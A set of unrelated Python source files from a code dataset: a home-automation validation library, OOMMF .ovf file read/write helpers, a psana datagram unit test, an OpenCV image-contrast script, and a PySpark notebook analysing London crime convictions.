re.compile(r\"(~|\\.(\\.)+)\")\n\n\nclass Validate(YomboLibrary):\n    \"\"\"\n    Handles common validation tasks.\n    \"\"\"\n    #####################################################\n    # Basic types\n    @staticmethod\n    def boolean(value: Any, coerce: Union[None, bool] = None) -> bool:\n        \"\"\"Validate and maybe coerce a boolean value.\"\"\"\n        if isinstance(value, bool):\n            return value\n        if coerce in (None, True):\n            if isinstance(value, int):\n                value = str(int)\n            if isinstance(value, str):\n                value = value.lower()\n                if value in (\"1\", \"true\", \"yes\", \"on\", \"enable\"):\n                    return True\n                if value in (\"0\", \"false\", \"no\", \"off\", \"disable\"):\n                    return False\n        raise YomboInvalidValidation(\"Value is not a boolean and cannot be coerced.\")\n\n    @staticmethod\n    def string(value: Any) -> str:\n        \"\"\"Coerce value to string, except for None.\"\"\"\n        if value is not None:\n            try:\n                return str(value)\n            except:\n                pass\n        raise YomboInvalidValidation(\"Couldn't make value a string.\")\n\n    @staticmethod\n    def basic_list(value: Union[T, Sequence[T]]) -> Sequence[T]:\n        \"\"\"Wrap value in list if it is not one.\"\"\"\n        if value is None:\n            return []\n        return value if isinstance(value, list) else [value]\n\n    @staticmethod\n    def basic_string(value, minimum: int = 1, maximum: int = 255):\n        \"\"\" A short string with alphanumberic, spaces, and periods. \"\"\"\n        if isinstance(value, str) and len(value) >= minimum and len(value) <= maximum:\n            return value\n        raise YomboInvalidValidation(\"Value is not a string, or doesn't fit within the required lengths.\")\n\n    @staticmethod\n    def basic_word(value):\n        \"\"\" A single word. \"\"\"\n        if value.strip().count(' ') == 1:\n            return value\n        raise YomboInvalidValidation(\"Value is not a single word.\")\n\n    # Adapted from:\n    # https://github.com/alecthomas/voluptuous/issues/115#issuecomment-144464666\n    @staticmethod\n    def has_at_least_one_key(*keys: str) -> Callable:\n        \"\"\"Validate that at least one key exists.\"\"\"\n\n        def validate(obj: Dict) -> Dict:\n            \"\"\"Test keys exist in dict.\"\"\"\n            if not isinstance(obj, dict):\n                raise YomboInvalidValidation(\"expected dictionary\")\n\n            for k in obj.keys():\n                if k in keys:\n                    return obj\n            raise YomboInvalidValidation(f\"must contain one of {', '.join(keys)}.\")\n        return validate\n\n    @staticmethod\n    def has_at_least_one_key_value(*items: list) -> Callable:\n        \"\"\"Validate that at least one (key, value) pair exists.\"\"\"\n\n        def validate(obj: Dict) -> Dict:\n            \"\"\"Test (key,value) exist in dict.\"\"\"\n            if not isinstance(obj, dict):\n                raise YomboInvalidValidation(\"Expected dictionary\")\n\n            for item in obj.items():\n                if item in items:\n                    return obj\n            raise YomboInvalidValidation(f\"must contain one of {str(items)}.\")\n        return validate\n\n    #####################################################\n    # OS / File system items\n    def is_device(value):\n        \"\"\" Validate that value is a real device. \"\"\"\n        try:\n            os.stat(value)\n            return str(value)\n        except OSError:\n            raise YomboInvalidValidation(f\"No device at {value} found\")\n\n    @staticmethod\n    def is_dir(value: Any) -> str:\n        \"\"\"Validate that the value is an existing dir.\"\"\"\n        if value is None:\n            raise YomboInvalidValidation(\"not a directory\")\n        dir_in = os.path.expanduser(str(value))\n\n        if not os.path.isdir(dir_in):\n            raise YomboInvalidValidation(\"not a directory\")\n        if not os.access(dir_in, os.R_OK):\n            raise YomboInvalidValidation(\"directory not readable\")\n        return dir_in\n\n    @staticmethod\n    def is_file(value: Union[str, None]) -> str:\n        \"\"\"Validate that the value is an existing file.\"\"\"\n        if value is None:\n            raise YomboInvalidValidation(\"None is not file\")\n        file_in = os.path.expanduser(str(value))\n\n        if not os.path.isfile(file_in):\n            raise YomboInvalidValidation(\"not a file\")\n        if not os.access(file_in, os.R_OK):\n            raise YomboInvalidValidation(\"file not readable\")\n        return file_in\n\n    #####################################################\n    # Time related items\n    @staticmethod\n    def time_zone(value):\n        \"\"\"Validate timezone.\"\"\"\n        try:\n            return pytz.timezone(input)\n        except pytz.exceptions.UnknownTimeZoneError:\n            raise YomboInvalidValidation(\"Invalid time zone passed in. Valid options can be found here: \"\n                              \"http://en.wikipedia.org/wiki/List_of_tz_database_time_zones\")\n\n    @staticmethod\n    def time(value) -> time_sys:\n        \"\"\"Validate and transform a time.\"\"\"\n        if isinstance(value, time_sys):\n            return value\n\n        try:\n            time_val = dt.parse_time(value)\n        except TypeError:\n            raise YomboInvalidValidation(\"Not a parseable type\")\n\n        if time_val is None:\n            raise YomboInvalidValidation(f\"Invalid time specified: {value}\")\n\n        return time_val\n\n    @staticmethod\n    def date(value) -> date_sys:\n        \"\"\"Validate and transform a date.\"\"\"\n        if isinstance(value, date_sys):\n            return value\n\n        try:\n            date_val = dt.parse_date(value)\n        except TypeError:\n            raise YomboInvalidValidation(\"Not a parseable type\")\n\n        if date_val is None:\n            raise YomboInvalidValidation(\"Could not parse date\")\n\n        return date_val\n\n    @staticmethod\n    def time_period_str(value: str) -> timedelta:\n        \"\"\"Validate and transform time offset.\"\"\"\n        if isinstance(value, int):\n            raise YomboInvalidValidation(\"Make sure you wrap time values in quotes\")\n        elif not isinstance(value, str):\n            raise YomboInvalidValidation(TIME_PERIOD_ERROR.format(value))\n\n        negative_offset = False\n        if value.startswith(\"-\"):\n            negative_offset = True\n            value = value[1:]\n        elif value.startswith(\"+\"):\n            value = value[1:]\n\n        try:\n            parsed = [int(x) for x in value.split(\":\")]\n        except ValueError:\n            raise YomboInvalidValidation(TIME_PERIOD_ERROR.format(value))\n\n        if len(parsed) == 2:\n            hour, minute = parsed\n            second = 0\n        elif len(parsed) == 3:\n            hour, minute, second = parsed\n        else:\n            raise YomboInvalidValidation(TIME_PERIOD_ERROR.format(value))\n\n        offset = timedelta(hours=hour, minutes=minute, seconds=second)\n\n        if negative_offset:\n            offset *= -1\n\n        return offset\n\n    @staticmethod\n    def time_period_seconds(value: Union[int, str]) -> timedelta:\n        \"\"\"Validate and transform seconds to a time offset.\"\"\"\n        try:\n            return timedelta(seconds=int(value))\n        except (ValueError, TypeError):\n            raise YomboInvalidValidation(f\"Expected seconds, got {value}\")\n\n    #####################################################\n    # Yombo items\n    @staticmethod\n    def id_string(string, minimum: int = 1, maximum: int = 200):\n        \"\"\" Ensure value is a string, with at least 4 characters and maximum of 100.\"\"\"\n        s = vol.Schema(vol.All(\n            str,\n            vol.Length(min=minimum, max=maximum),\n            vol.Match(r\"^[a-zA-Z_0-9. ]+$\")\n        ))\n        try:\n            return s(string)\n        except Exception as e:\n            raise YomboInvalidValidation(\"Provided ID contains invalid characters.\")\n\n    #####################################################\n    # Misc\n    @staticmethod\n    def template(value):\n        \"\"\"Validate a jinja2 template.\"\"\"\n        if value is None:\n            raise YomboInvalidValidation(\"template value is None\")\n        elif isinstance(value, str) is False:\n            raise YomboInvalidValidation(\"template value should be a string\")\n\n        value = JinjaTemplate(str(value))\n\n        try:\n            value.ensure_valid()\n            return value\n        except YomboWarning as e:\n            raise YomboInvalidValidation(f\"invalid template ({e})\")\n\n    @staticmethod\n    def url(url_in, protocols=None):\n        if protocols is None:\n            protocols = [\"http\", \"https\", \"sftp\", \"ftp\"]\n\n        if urlparse(url_in).scheme in protocols:\n            try:\n                return vol.Schema(vol.Url())(url_in)\n            except:\n                pass\n        raise YomboInvalidValidation(\"Invalid URL.\")\n\n    @staticmethod\n    def match_all(self, value):\n        \"\"\"Validate that matches all values.\"\"\"\n        return value\n\n    @staticmethod\n    def positive_timedelta(value: timedelta) -> timedelta:\n        \"\"\"Validate timedelta is positive.\"\"\"\n        if value < timedelta(0):\n            raise YomboInvalidValidation(\"Time period should be positive\")\n        return value\n\n    @staticmethod\n    def _slugify(text: str) -> str:\n        \"\"\"Slugify a given text.\"\"\"\n        return slugify(text, separator=\"_\")\n\n    def slug(self, value):\n        \"\"\"Validate value is a valid slug (aka: machine_label)\"\"\"\n        if value is None:\n            raise YomboInvalidValidation(\"Slug should not be None\")\n        value = str(value)\n        slg = self._slugify(value)\n        if value == slg:\n            return value\n        raise YomboInvalidValidation(f\"invalid slug {value} (try {slg})\")\n\n    @classmethod\n    def slugify(cls, value):\n        \"\"\"Coerce a value to a slug.\"\"\"\n        # print(\"going to try to slugify: %s\" % value)\n        if value is None:\n            raise YomboInvalidValidation(\"Slug should not be None\")\n        slg = cls._slugify(str(value))\n        if slg:\n            return slg\n        # print(\"can't make slug: %s\" % slg)\n        raise YomboInvalidValidation(f\"Unable to slugify {value}\")\n\n    @classmethod\n    def temperature_unit(cls, value) -> str:\n        \"\"\"Validate and transform temperature unit.\"\"\"\n        value = str(value).upper()\n        if value == \"C\":\n            return TEMP_CELSIUS\n        elif value == \"F\":\n            return TEMP_FAHRENHEIT\n        raise YomboInvalidValidation(\"invalid temperature unit (expected C or F)\")\n\n    unit_system = vol.All(vol.Lower, vol.Any(MISC_UNIT_SYSTEM_METRIC,\n                                             MISC_UNIT_SYSTEM_IMPERIAL))\n\n    @staticmethod\n    def time(value):\n        \"\"\"Validate time.\"\"\"\n        try:\n            return dt.time_from_string(value)[0]\n        except Exception:\n            raise YomboInvalidValidation(f\"YomboInvalidValidation time specified: {value}\")\n\n    @staticmethod\n    def datetime(self, value):\n        \"\"\"Validate datetime.\"\"\"\n        if isinstance(value, datetime_sys):\n            return value\n\n        try:\n            return dt.time_from_string(value)[0]\n        except Exception:\n            raise YomboInvalidValidation(f\"YomboInvalidValidation datetime specified: {value}\")\n\n    @staticmethod\n    def time_zone(value):\n        \"\"\"Validate timezone.\"\"\"\n        if dt.get_time_zone(value) is not None:\n            return value\n        raise YomboInvalidValidation(\n            \"YomboInvalidValidation time zone passed in. Valid options can be found here: \"\n            \"http://en.wikipedia.org/wiki/List_of_tz_database_time_zones\")\n\n    weekdays = vol.All(basic_list, [vol.In(WEEKDAYS)])\n\n    @staticmethod\n    def socket_timeout(value):\n        \"\"\"Validate timeout float > 0.0.\n\n        None coerced to socket._GLOBAL_DEFAULT_TIMEOUT bare object.\n        \"\"\"\n        if value is None:\n            return _GLOBAL_DEFAULT_TIMEOUT\n        else:\n            try:\n                float_value = float(value)\n                if float_value > 0.0:\n                    return float_value\n                raise YomboInvalidValidation(\"YomboInvalidValidation socket timeout value.\"\n                                  \" float > 0.0 required.\")\n            except Exception as e:\n                raise YomboInvalidValidation(f\"YomboInvalidValidation socket timeout: {e}\")\n\n    @staticmethod\n    def x10_address(value):\n        \"\"\"Validate an x10 address.\"\"\"\n        regex = re.compile(r\"([A-Pa-p]{1})(?:[2-9]|1[0-6]?)$\")\n        if not regex.match(value):\n            raise YomboInvalidValidation(\"YomboInvalidValidation X10 Address\")\n        return str(value).lower()\n\n    @staticmethod\n    def basic_list(value: Union[T, Sequence[T]]) -> Sequence[T]:\n        \"\"\"Wrap value in list if it is not one.\"\"\"\n        if value is None:\n            return []\n        return value if isinstance(value, list) else [value]\n\n    @classmethod\n    def basic_list_csv(cls, value: Any) -> Sequence:\n        \"\"\"Ensure that input is a list or make one from comma-separated string.\"\"\"\n        if isinstance(value, str):\n            return [member.strip() for member in value.split(\",\")]\n        return cls.basic_list(value)\n\n    @staticmethod\n    def is_json(value):\n        \"\"\"\n        Determine if data is json or not.\n\n        :param value:\n        :return:\n        \"\"\"\n        try:\n            json_object = json.loads(value)\n        except:\n            return False\n        return True\n\n    @staticmethod\n    def is_msgpack(value):\n        \"\"\"\n        Helper function to determine if data is msgpack or not.\n\n        :param mymsgpack:\n        :return:\n        \"\"\"\n        try:\n            json_object = msgpack.unpackb(value)\n        except:\n            return False\n        return True\n\n    # Validator helpers\n    @staticmethod\n    def key_dependency(key, dependency):\n        \"\"\"Validate that all dependencies exist for key.\"\"\"\n\n        def validator(value):\n            \"\"\"Test dependencies.\"\"\"\n            if not isinstance(value, dict):\n                raise YomboInvalidValidation(\"key dependencies require a dict\")\n            if key in value and dependency not in value:\n                raise YomboInvalidValidation(f'dependency violation - key \"{key}\" requires key \"{dependency}\" to exist')\n\n            return value\n\n        return validator\n\n    @classmethod\n    def time_period_dict(cls):\n        return vol.All(\n            dict, vol.Schema({\n                \"days\": vol.Coerce(int),\n                \"hours\": vol.Coerce(int),\n                \"minutes\": vol.Coerce(int),\n                \"seconds\": vol.Coerce(int),\n                \"milliseconds\": vol.Coerce(int),\n            }),\n            cls.has_at_least_one_key(\"days\", \"hours\", \"minutes\", \"seconds\", \"milliseconds\"),\n            lambda value: timedelta(**value))\n\n    @classmethod\n    def time_period(cls):\n        return vol.Any(cls.time_period_str, cls.time_period_seconds, timedelta, cls.time_period_dict)\n","repo_name":"yombo/yombo-gateway","sub_path":"yombo/lib/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":15810,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"21849428263","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 17 15:33:54 2020\n@author: ant_t\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport re\n\n\ndef get_stripe_Mz(\n    Nx=None,\n    Ny=None,\n    Nz=None,\n    eff_z=1,\n    periodic_offset_x=0,\n    periodic_offset_y=0,\n    angle=0,\n    interlayer_coupling=1,\n    width_up=None,\n    width_down=None,\n):\n    M_data = np.zeros([3, Nx, Ny, Nz])\n    period = width_up + width_down\n\n    xgrid, ygrid = np.meshgrid(np.arange(0, Nx), np.arange(0, Ny))\n\n    sign_M = interlayer_coupling\n    for l in np.arange(0, eff_z):\n        M_data[2, :, :, l] = sign_M * (\n            -np.ones([Nx, Ny])\n            + 2 * (np.mod(xgrid - np.mod(l, 2) * periodic_offset_x, period) < width_up)\n        )\n        sign_M = sign_M * interlayer_coupling\n\n    return M_data\n\n\ndef get_circle_Mz(\n    Nx=None,\n    Ny=None,\n    Nz=None,\n    eff_z=1,\n    offset_x=0,\n    offset_y=0,\n    interlayer_coupling=1,\n    radius=0,\n):\n    M_data = np.zeros([3, Nx, Ny, Nz])\n\n    xgrid, ygrid = np.meshgrid(np.arange(-Nx / 2, Nx / 2), np.arange(-Ny / 2, Ny / 2))\n    rgrid = ((xgrid + offset_x) ** 2 + (ygrid + offset_x) ** 2) ** 0.5\n\n    sign_M = interlayer_coupling\n    for l in np.arange(0, eff_z):\n        M_data[2, :, :, l] = sign_M * (-np.ones([Nx, Ny]) + 2 * (rgrid < radius))\n        sign_M = sign_M * interlayer_coupling\n\n    return M_data\n\n\ndef write_ovf(\n    filepath=None,\n    lenx=None,\n    leny=None,\n    lenz=None,\n    Nx=None,\n    Ny=None,\n    Nz=None,\n    dataset=None,\n):\n\n    if (np.size(dataset) == (Nx * Ny * Nz * 3)) and (\n        (len(dataset.shape) == 4) or (len(dataset.shape) == 2)\n    ):\n        # change to (Nx*Ny*Nz,3)\n        if len(dataset.shape) == 4:\n            if dataset.shape[-1] != 3:\n                dataset = np.transpose(dataset, (3, 2, 1, 0))\n            dataset = np.reshape(dataset, (Nx * Ny * Nz, 3))\n        elif len(dataset.shape) == 2:\n            if dataset.shape[-1] != 3:\n                dataset = np.transpose(dataset, (1, 0))\n\n        # note that python writes \\n as \\r\\n in windows\n        # mumax throws an error with \\r\n        # newline=\\n forces python to write \\n as \\n in windows\n        with open(filepath, \"w\", newline=\"\\n\") as f:\n            f.write(u\"# OOMMF: rectangular mesh v1.0\\n\")\n            f.write(u\"# Segment count: 1 \\n\")\n            f.write(u\"# Begin: Segment  \\n\")\n            f.write(u\"# Begin: Header  \\n\")\n            f.write(u\"# Desc: Time (s) :0\\n\")\n            f.write(u\"# Title: m  \\n\")\n            f.write(u\"# meshtype: rectangular  \\n\")\n            f.write(u\"# meshunit: m  \")\n            f.write(u\"\\n# xbase: \" + np.format_float_scientific(lenx, trim=\"0\") + \"  \")\n            f.write(u\"\\n# ybase: \" + np.format_float_scientific(leny, trim=\"0\") + \"  \")\n            f.write(u\"\\n# zbase: \" + np.format_float_scientific(lenz, trim=\"0\") + \"  \")\n            f.write(\n                u\"\\n# xstepsize: \"\n                + np.format_float_scientific(lenx / Nx, trim=\"0\")\n                + \"  \"\n            )\n            f.write(\n                u\"\\n# ystepsize: \"\n                + np.format_float_scientific(leny / Ny, trim=\"0\")\n                + \"  \"\n            )\n            f.write(\n                u\"\\n# zstepsize: \"\n                + np.format_float_scientific(lenz / Nz, trim=\"0\")\n                + \"  \"\n            )\n            f.write(u\"\\n# xmin: 0  \")\n            f.write(u\"\\n# ymin: 0  \")\n            f.write(u\"\\n# zmin: 0  \")\n            f.write(u\"\\n# xmax: \" + np.format_float_scientific(lenx, trim=\"0\") + \"  \")\n            f.write(u\"\\n# ymax: \" + np.format_float_scientific(leny, trim=\"0\") + \"  \")\n            f.write(u\"\\n# zmax: \" + np.format_float_scientific(lenz, trim=\"0\") + \"  \")\n            f.write(u\"\\n# xnodes: %i  \" % Nx)\n            f.write(u\"\\n# ynodes: %i  \" % Ny)\n            f.write(u\"\\n# znodes: %i  \" % Nz)\n            f.write(u\"\\n# ValueRangeMinMag: 1e-08  \")\n            f.write(u\"\\n# ValueRangeMaxMag: 1  \")\n            f.write(u\"\\n# valueunit:   \")\n            f.write(u\"\\n# valuemultiplier: 1  \")\n            f.write(u\"\\n# End: Header  \")\n            f.write(u\"\\n# Begin: Data Text \\n\")\n            np.savetxt(f, dataset, fmt=\"%.2f\")\n            f.write(u\"# End: Data Text \")\n            f.write(u\"\\n# End: Segment\\n\")\n\n        display(\"File sucessfully saved\")\n    else:\n        display(\"Size of dataset does not match simulation paramters\")\n\n    # replacement strings\n    \"\"\"\n    WINDOWS_LINE_ENDING = b'\\r\\n'\n    UNIX_LINE_ENDING = b'\\n'\n    \n    with open(filepath, 'rb') as open_file:\n        content = open_file.read()\n    \n    content = content.replace(WINDOWS_LINE_ENDING, UNIX_LINE_ENDING)\n    \n    with open(filepath, 'wb') as open_file:\n        open_file.write(content)\n    \"\"\"\n\n\ndef read_ovf(filepath=None, data_sep=\" \", comment=\"#\", engine=\"c\"):\n    \"\"\"\n    Function to read .ovf files.\n    \n    Parameters\n    ----------\n    filepath: string\n        The path of the .ovf file. Default is none\n    datasep: string\n        The separator of the numbers. Default is ' '\n    comment: string\n        The symbol defining a commented line. Default is '#'\n    engine: string, 'c' or 'python'\n        The engine used by pandas to read the data. Default is 'c'\n        \n    Returns\n    -------\n    data: np.ndarray\n        The 4d matrix containing the coordinates. It is arranged as (zcoord, xcoord, ycoord, component).\n    header_dictionary: dict\n        A dictionary containing the metadata in the .ovf header\n    \"\"\"\n\n    with open(filepath) as file:\n        keepreading = True\n        header_dictionary = {}\n        while keepreading:\n            line = file.readline()\n            # Keep reading as long as the line starts with the comment symbol\n            if line.startswith(comment):\n                line = line[\n                    1:\n                ].strip()  # Remove trailing white spaces and the comment symbol\n                split = line.split(\":\", maxsplit=1)  # Split on the first colon\n                # Use the first list element as a dictionary key\n                # and use the second element of the list as value\n                key = split[0].strip()\n                value = split[1].strip()\n                try:\n                    value = float(\n                        value\n                    )  # Attempt to convert the string into float, if possible\n                    # Lazy solution to cast to int if the float is an integer number.\n                    # helps to feed the number straight into linspace without recasting by hand\n                    if value.is_integer():\n                        value = int(value)\n                except:\n                    pass\n                header_dictionary[key] = value\n            else:\n                keepreading = False\n\n    # Load the data as a pandas dataframe and convert it into numpy array\n    data = pd.read_csv(\n        filepath,\n        sep=data_sep,\n        comment=comment,\n        usecols=[0, 1, 2],\n        skip_blank_lines=True,\n        header=None,\n        engine=engine,\n    ).values\n\n    # Reshape the columns into 3D matrices with shape (znodes, xnodes, ynodes, 3)\n    shape = (\n        header_dictionary[\"xnodes\"],\n        header_dictionary[\"ynodes\"],\n        header_dictionary[\"znodes\"],\n        3,\n    )\n    data = data.reshape(shape, order=\"F\").transpose(2, 1, 0, 3)\n\n    return data, header_dictionary\n\n\n\"\"\"\nclass ovf_data:\n    def __init__(self):\n        self._Begin = None\n        \n    def read_ovf(self,ovf_file):\n        \n        print('loading file...')\n        with open(ovf_file,'r') as ovf_file_handle:\n            self._Begin=None\n            \n            #Retrieve header information\n            while self._Begin != 'Data Text': #last line of header info\n                line = ovf_file_handle.readline()\n                self._assign_headers(line)                \n            \n            #create data array\n            self.data=np.zeros((self.Nx*self.Ny*self.Nz,3))\n            \n            #Retrieve OVF data \n            for line_ind, line in zip(np.arange(0,self.Nx*self.Ny*self.Nz),ovf_file_handle):\n                self.data[line_ind,:]=np.fromstring(line,dtype=float,count=3,sep=' ')\n                \n        self.data=self.data.reshape((self.Nx,self.Ny,self.Nz,3),order='F').transpose(1,0,2,3)    \n        \n        #Retrieve OVF data via pandas (slower?) \n\n        self.data=pd.read_csv(ovf_file,sep='\\s+',skiprows=data_line, \\\n        skipfooter=2, index_col=None,header=None,engine='python').to_numpy()\\\n        .reshape((self.Nx,self.Ny,self.Nz,3),order='F').transpose(1,0,2,3)\n\n        print('done!')               \n           \n    def _assign_headers(self, line):\n        #regular expression pattern: # xyz: 123\n        header_exp=re.compile(r'#\\s(\\D*):\\s(.*)')\n        info=header_exp.findall(line)\n        \n        if np.size(info) == 2:\n            if info[0][0] == 'meshunit':\n                self.xyzunit =info[0][1]\n            elif info[0][0] ==  'xstepsize':\n                self.xstep = float(info[0][1])\n            elif info[0][0] ==  'ystepsize':\n                self.ystep= float(info[0][1])\n            elif info[0][0] ==  'zstepsize':\n                self.zstep= float(info[0][1])\n            elif info[0][0] ==  'xnodes':\n                self.Nx= int(info[0][1])\n            elif info[0][0] ==  'ynodes':\n                self.Ny= int(info[0][1])\n            elif info[0][0] ==  'znodes':\n                self.Nz= int(info[0][1])\n            elif info[0][0] ==  'valueunit':\n                self.Dunit= info[0][1]\n            elif info[0][0] ==  'ValueRangeMaxMag':\n                self.Dmax= float(info[0][1])\n            elif info[0][0] ==  'ValueRangeMinMag':\n                self.Dmin= float(info[0][1])\n            elif info[0][0] ==  'Begin':\n                self._Begin=info[0][1]\n \"\"\"\n","repo_name":"pikestefan/nv_libraries","sub_path":"nvlibraries/f_ovf.py","file_name":"f_ovf.py","file_ext":"py","file_size_in_byte":9747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"288104388","text":"from psana import dgram\nimport os\n\nclass TestDgramInit:\n\n    def testInvalidEmptyDgram(self):\n        raised = False\n        try:\n            d = dgram.Dgram()\n        except RuntimeError:\n            raised = True\n        assert raised\n\n    def testInvalidFileDescriptor(self):\n        raised = False\n        try:\n            d = dgram.Dgram(file_descriptor=42)\n        except OSError:\n            raised = True\n        assert raised\n\n    def testInvalidSequentialRead(self):\n        \"\"\" prevent reading data dgram without config \"\"\"\n        dir_path = os.path.dirname(os.path.realpath(__file__))\n        full_path = os.path.join(dir_path, \"smd.xtc2\")\n        if os.path.isfile(full_path):\n            fd = os.open(full_path, os.O_RDONLY)\n            d = dgram.Dgram(file_descriptor=fd)\n            raised = False\n            try: \n                another_d = dgram.Dgram(file_descriptor=fd)\n            except StopIteration:\n                raised = True\n            assert raised\n\ndef run():\n    test = TestDgramInit()\n    test.testInvalidEmptyDgram()\n    test.testInvalidFileDescriptor()\n    test.testInvalidSequentialRead() \n\nif __name__ == \"__main__\":\n    run()\n","repo_name":"slac-lcls/lcls2","sub_path":"psana/psana/tests/test_dgraminit.py","file_name":"test_dgraminit.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"16"}
+{"seq_id":"69906063367","text":"\nimport cv2 \nimport numpy as np \n#from matplotlib import pyplot as pypt\nimport matplotlib.pyplot as plt\n\n# 1.Reading and Displaying the Image \nimg=cv2.imread('dark.jpg',0) #reading image #correction_image3.jpg, Correction2.jpg, Scene.jpg\ncv2.imshow('Image',img) \ncv2.waitKey(0)\n\n\n# 2.Know the dimension of an image \ndimensions = img.shape\nprint('Image Dimension    : ',dimensions)\n#Image Dimension    :  (70, 105)\n\n\n\n#Resizing\n#resize  = cv2.resize(img, (210,140),interpolation = cv2.INTER_NEAREST)\nresize  = cv2.resize(img, (320,480),interpolation = cv2.INTER_NEAREST)\ncv2.imshow('resize', resize)\ncv2.waitKey(0)\nimg=resize\n\n\n#3.Histogram equalization Transformation:considers the global contrast of the image\neq=cv2.equalizeHist(img)\n# stacking images side-by-side\nres=np.hstack((img, eq))\n\n#comparing input & output images side by side\ncv2.imshow('Equalized Image',res)\n#showing the comparision\nplt.hist(img.ravel(),256,[0,256]) #plotting histogram for input image pypt.show() #showing histogram \nplt.hist(eq.ravel(),256,[0,256]) #plotting histogram for output image pypt.show() #showing histogram\nplt.show() #showing histogram\n\ncv2.waitKey(0)\n\n\n#4.CLAHE (Contrast Limited Adaptive Histogram Equalization)\n #image is divided into small blocks called \"tiles\"\n #(tileSize is 8x8 by default in OpenCV).\n# Then each of these blocks are histogram equalized as usual.\n #So in a small area, histogram would confine to a small region\n #(unless there is noise). If noise is there, it will be amplified.\n #To avoid this, contrast limiting is applied. If any histogram bin is\n# above the specified contrast limit (by default 40 in OpenCV), those\n# pixels are clipped and distributed uniformly to other bins before applying\n# histogram equalization. After equalization,\n# to remove artifacts in tile borders, bilinear interpolation is applied.\n\n #CLAHE operates on small regions in the image, called tiles, rather\n# than the entire image. The neighboring tiles are then combined using\n #bilinear interpolation to remove the artificial boundaries.\n\n# create a CLAHE object (Arguments are optional).\n\n# The declaration of CLAHE  \n# clipLimit -> Threshold for contrast limiting \nclahe = cv2.createCLAHE(clipLimit = 3 ) #clipLimit – This parameter sets the threshold for contrast limiting. The default value is 40.\nfinal_img = clahe.apply(img) \ncv2.imshow(\"CLAHE image\", final_img)\ncv2.waitKey(0)\n\n\n# stacking images side-by-side\nres=np.hstack((eq, final_img))\n#comparing input & output images side by side\ncv2.imshow('Equalized vs CLAHE Image',res)\n\n\n\n#Logarithmic Transformation: \n\n#img = cv2.imread('correction_image3.jpg',0) #reading image \nc = 255/(np.log(1 + np.max(img))) #log transformation\n# Apply log transformation method \noutput = np.log(img + 1) * c \noutput = np.array(output, dtype = np.uint8) #int datatype \n#cv2.imshow('log_transformed.jpg', output) #showing image\n\n#pypt.hist(img.ravel(),256,[0,256]) \n#pypt.show() \n#pypt.hist(output.ravel(),256,[0,256]) \n#pypt.show() \n# Display both images \n\n# stacking images side-by-side\nres=np.hstack((img, output))\n\n#comparing input & output images side by side\ncv2.imshow('log_transformed Image',res)\n\ncv2.waitKey(0)\n\n\n#Power law transformation: \n\n#Give desired gamma value in the shell \ngvalue=float(input(\"Enter gamma value:\")) \n#int datatype \noutput = np.array(255*(img / 255) ** gvalue, dtype = np.uint8)  \n#cv2.imshow(\"Gamma Transformation\", output) #showing image\ncv2.waitKey(0)\n# stacking images side-by-side\nres=np.hstack((img, output))\n\n#comparing input & output images side by side\ncv2.imshow('Gamma_transformed Image',res)\n\n\n#plt.hist(img.ravel(),256,[0,256]) #plotting histograms pypt.show() \n#plt.hist(output.ravel(),256,[0,256]) \n#plt.show()\n\n#plt.imshow(output, cmap='gray')\n#plt.show()","repo_name":"arjun0200/Digital-Image-Processing","sub_path":"img_enhancement.py","file_name":"img_enhancement.py","file_ext":"py","file_size_in_byte":3747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9383064512","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nsc\n\n\n# In[8]:\n\n\nfrom pyspark.sql import SparkSession\nspark = SparkSession.builder.appName(\"london_crime\").getOrCreate()\n\n\n# In[9]:\n\n\nspark\n\n\n# In[93]:\n\n\ndf = spark.read.format(\"csv\").option(\"header\", True).option('inferSchema',True).load(\"londom_crime.csv\")\n\n\n# In[95]:\n\n\ndf.printSchema()\ndf.take(10)\n\n\n# In[96]:\n\n\ndf.count()\n\n\n# In[97]:\n\n\ndf.drop('NA')\n\n\n# In[98]:\n\n\ndf_new.count()\n\n\n# In[99]:\n\n\ndf = df_new.drop(\"lsoa_code\")\n\n\n# In[100]:\n\n\ndf.take(10)\n\n\n# In[101]:\n\n\ntotaleBorough = df.select('borough').distinct()\ntotaleBorough.show()\n\n\n# In[102]:\n\n\ntotaleBorough.count()\n\n\n# In[103]:\n\n\nhackeneydata = df.filter(df['borough']=='Hackney')\nhackeneydata.count()\n\n\n# In[104]:\n\n\nyearfilterdf = df.filter((df['year'] == '2016') | (df['year'] == '2015'))\nyearfilterdf.count()\n\n\n# In[105]:\n\n\n#using isin operator\nyearIsInfilterdf=df.filter((df['year']).isin(['2015','2016']))\nyearIsInfilterdf.count()\n\n\n# In[106]:\n\n\ndf.filter(df['year'] >= 2014).show()\n\n\n# In[107]:\n\n\n## performing aggregation on data\n#group all convictions by borough\ndf.groupBy('borough').count().show()\n\n\n# In[108]:\n\n\nboroughValueSum = df.groupBy('borough').agg({'value':'sum'})\nboroughValueSum = df.groupBy('borough').agg({'value':'sum'}).withColumnRenamed('sum(value)','conviction')\nboroughValueSum.show()\n\n\n# In[109]:\n\n\ntotalconviction = boroughValueSum.agg({'conviction':'sum'})\n\n\n# In[110]:\n\n\ntotalconviction.show()\n\n\n# In[111]:\n\n\ntotalconcivtionno=totalconviction.collect()[0][0]\n\n\n# In[112]:\n\n\ntotalconcivtionno\n\n\n# In[117]:\n\n\n#find % of conviction on per borough basis\nprocesseddf = boroughValueSum.withColumn('percent',(boroughValueSum.conviction/totalconcivtionno)*100)\nprocesseddf.orderBy(processeddf[2].desc()).show()\n\n\n# In[118]:\n\n\ndf.take(10)\n\n\n# In[122]:\n\n\nmonthlyGroupeddf = df.filter(df['year'] == 2014).groupBy(df['month']).agg({'value':'sum'}).withColumnRenamed('sum(value)','total')\n\n\n# In[129]:\n\n\ntotalcovictions = monthlyGroupeddf.agg({'total':'sum'}).collect()[0][0]\n\n\n# In[130]:\n\n\ntotalcovictions\n\n\n# In[132]:\n\n\nmonthlyGroupeddf.withColumn('percent',(monthlyGroupeddf.total/totalcovictions)*100).show()\n\n\n# 